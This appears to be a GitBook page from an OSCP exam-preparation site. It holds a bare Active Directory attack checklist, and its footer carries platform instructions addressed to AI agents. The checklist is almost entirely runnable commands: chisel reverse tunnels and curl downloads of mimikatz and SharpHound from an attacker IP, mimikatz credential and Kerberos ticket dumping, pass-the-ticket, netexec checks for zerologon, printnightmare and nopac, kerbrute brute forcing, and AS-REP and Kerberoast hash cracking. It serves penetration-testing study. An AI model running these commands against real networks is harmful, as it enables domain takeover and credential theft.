> For the complete documentation index, see [llms.txt](https://oscp.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.adot8.com/active-directory/checklist.md).

# Checklist

```
ls C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\
```

{% hint style="warning" %}
Do this for all users on the machine

Also run winPEAS to make sure no sensitive files are missed
{% endhint %}

```
.\chisel.exe client 192.168.45.x:8888 R:9999:socks
.\chisel.exe client 192.168.45.x:8888 8080:127.0.0.1:80
```

```
curl 192.168.45.x/SharpHound.exe -o SharpHound.exe
.\SharpHound.exe -c all
```

```
curl 192.168.45.x/mimikatz.exe -o mimikatz.exe
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "exit"
```

```
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::tickets /export" "exit"
dir *.kirbi
kerberos::ptt <ticket>
```

```
enum4linux <IP>
enum4linux -u  -p -a -A <IP>
```

```
nmap -p 389 --script="ldap* and not brute" -Pn <IP>
```

```
 ldapsearch -H ldap://dc.offsec.com -D '' -w '' -b "dc=offsec,dc=com"
```

```
 ldapsearch -H ldap://dc.offsec.com -D '' -w '' -b "dc=offsec,dc=com" | grep -i description
```

```
netexec smb <IP> -u '' -p '' --shares
netexec smb <IP> -u '' -p '' --users
netxec ldap <IP> -u '' -p '' --password-not-required --admin-count --users --groups
netexec smb <IP> -u '' -p '' --rid-brute
netexec smb <IP> -u '' -p '' -M spider_plus
netexec smb <IP> -u '' -p '' -M printnightmare
netexec smb <IP> -u '' -p '' -M gpp_password
netexec smb <IP> -u '' -p '' -M spooler
netexec smb <IP> -u '' -p '' -M nopac
netexec smb <IP> -u '' -p '' -M zerologon
```

```
smbmap -H <IP>
smbclient -L \\\\<IP>\\ -U '' -N 
```

```
rpcclient -U '' -N <IP>
rpcclient -U "username%passwd" <IP>  
querydispinfo 
queryuser joe 
querygroup 0x44f       
querygroupmem 0x44f    
```

```
kerbrute userenum -d pffsec.lab /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc dc.oscp.exam
```

{% hint style="info" %}
Try sorts of user:user combos, as-rep roasting, bruteforcing etc
{% endhint %}

```
kerbrute bruteuser -d offsec.lab ~/rockyou.txt w.smith
```

<pre><code><strong>impacket-GetNPUsers -dc-ip &#x3C;IP> -request  oscp.exam/-format hashcat
</strong>impacket-GetNPUsers oscp.exam/user -dc-ip &#x3C;IP> -format hashcat
hashcat -m 18200 crackme.txt ~/rockyou.txt -O -r ~/opt/wordlists/best64.rule -O
</code></pre>

```
impacket-GetUserSPNs  oscp.exam/user:pass -dc-ip 192.168.1.129 -request
hashcat -m 13100 crackme.txt ~/rockyou.txt -O -r ~/opt/wordlists/best64.rule -O
```

```
impacket-mssqlclient aerospace.com/discovery:'Start123!'@192.168.193.40
impacket-mssqlclient aerospace.com/discovery:'Start123!'@192.168.193.40 -windows-auth
```

```
bloodhound-python -d offsec.lab -u greg -p pass -ns 192.168.1.129 -c all
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://oscp.adot8.com/active-directory/checklist.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
